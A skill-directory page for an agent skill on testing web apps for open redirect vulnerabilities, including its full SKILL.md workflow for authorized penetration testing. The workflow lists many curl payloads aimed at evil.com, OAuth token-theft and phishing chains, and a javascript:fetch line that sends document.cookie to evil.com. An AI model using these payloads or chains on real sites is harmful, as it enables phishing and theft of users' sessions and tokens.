Skip to main content
skill CX Codex

testing-for-open-redirect-vulnerabilities — Claude Code skill

Checks URL redirect parameters and validation bypasses. Use it when assessing login, OAuth, or SSO flows in systems you are authorized to test.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code
Open on GitHub

What testing-for-open-redirect-vulnerabilities does

The skill examines parameters such as next, redirect, and redirect_uri, then outlines ways to probe destination checks and follow redirect chains. Its scenarios include phishing and OAuth token theft. Run these checks only against systems you own or have permission to assess.

Burp Suite and OWASP ZAP are listed for intercepting requests; a separate domain or Burp Collaborator can confirm a redirect. The automation section covers OpenRedireX, gf, nuclei, and ffuf. You’ll need to understand URL encoding and use a browser with developer tools; the described confirmation method depends on access to an external domain or Burp Collaborator.

What it helps with

  • find parameters that send users to an external URL
  • probe destination checks for bypasses
  • trace redirect chains in OAuth and SSO flows
  • scan URL lists for redirect parameters

Example prompts for the agent

  • Check next and redirect for open redirects in my authorized test app.
  • Draft a Burp Suite test plan for the redirect_uri in this OAuth flow.
  • Scan urls.txt for redirect parameters and explain the results.

How to install testing-for-open-redirect-vulnerabilities

1Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code

2Manually: put the files in place

~/.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/testing-for-open-redirect-vulnerabilities/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about testing-for-open-redirect-vulnerabilities

How do I install testing-for-open-redirect-vulnerabilities in Claude Code?

Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities -a claude-code. The skill file is at ~/.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md.

What does testing-for-open-redirect-vulnerabilities do?

It guides checks for open redirects by examining URL parameters and ways to bypass destination validation. It also covers redirect chains involving OAuth and phishing.

Which tools does the skill cover?

Burp Suite and OWASP ZAP are used to intercept redirect requests. For confirmation, the workflow calls for an external domain or Burp Collaborator.

Source text

SKILL.md · Apache-2.0
---
name: testing-for-open-redirect-vulnerabilities
description: Identifies and exploits open redirect vulnerabilities by analyzing URL
  redirection parameters (next, url, redirect, return, goto), applying bypass techniques,
  and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP
  and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling,
  or SSO redirect validation.
domain: cybersecurity
subdomain: web-application-security
tags:
- open-redirect
- url-redirect
- phishing
- owasp
- url-validation
- redirect-bypass
- unvalidated-redirect
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1566
---

# Testing for Open Redirect Vulnerabilities

## When to Use
- When testing login/logout flows that redirect users to specified URLs
- During assessment of OAuth authorization endpoints with redirect_uri parameters
- When auditing applications with URL parameters (next, url, redirect, return, goto, target)
- During phishing simulation to chain open redirects with credential harvesting
- When testing SSO implementations for redirect validation weaknesses

## Prerequisites
- Burp Suite or OWASP ZAP for intercepting redirect requests
- Collection of open redirect bypass payloads
- External domain or Burp Collaborator for redirect confirmation
- Understanding of URL parsing and encoding schemes
- Browser with developer tools for observing redirect chains
- Knowledge of HTTP 301/302/303/307/308 redirect status codes


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Redirect Parameters
```bash
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
```

### Step 2 — Test Basic Open Redirect Payloads
```bash
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
```

### Step 3 — Apply Validation Bypass Techniques
```bash
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
```

### Step 4 — Test Path-Based Redirects
```bash
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
```

### Step 5 — Chain with Other Vulnerabilities
```bash
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
```

### Step 6 — Automate Open Redirect Testing
```bash
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |
| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| OpenRedireX | Automated open redirect vulnerability testing tool |
| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |
| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |
| nuclei | Template-based scanner with open redirect detection templates |
| ffuf | Fuzzer for mass-testing redirect parameter payloads |
| OWASP ZAP | Automated scanner with open redirect detection |

## Common Scenarios

1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting
5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

## Output Format

```
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Similar skills

All skills for Security →

From the same set90

analyzing-mft-for-deleted-file-recovery Forensic skill for NTFS analysis: parses $MFT, $LogFile, $UsnJrnl and slack space to recover metadata and content of deleted files. CX Codex +1 326installs exploiting-sql-injection-with-sqlmap Walks the agent through a sqlmap run: locate an injectable parameter, confirm it, pull data during an authorized pentest. CX Codex +1 322installs analyzing-memory-forensics-with-lime-and-volatility Acquires Linux memory images with the LiME kernel module and extracts artifacts via Volatility 3 during security incident investigations. CX Codex +1 321installs bypassing-authentication-with-forced-browsing A pentest skill that enumerates URLs to find unprotected pages, APIs and admin panels, then checks where authentication isn't enforced. CX Codex +1 321installs hardening-docker-containers-for-production This skill hardens Dockerfiles, images, and container runtime settings against CIS Docker Benchmark v1.8.0. Use it before production deployment or during an image audit. CX Codex +1 320installs conducting-external-reconnaissance-with-osint Builds a target profile from open sources: DNS, certificate logs, search, social media, repos and breach data. For the passive phase of a pentest. CX Codex +1 319installs analyzing-persistence-mechanisms-in-linux Scans Linux hosts for persistence in cron, systemd, LD_PRELOAD, and shell profiles, correlating findings with auditd logs. CX Codex +1 319installs analyzing-pdf-malware-with-pdfid Walks an agent through a suspicious PDF's structure to find embedded JavaScript, shellcode and exploits before anyone opens the file. CX Codex +1 317installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor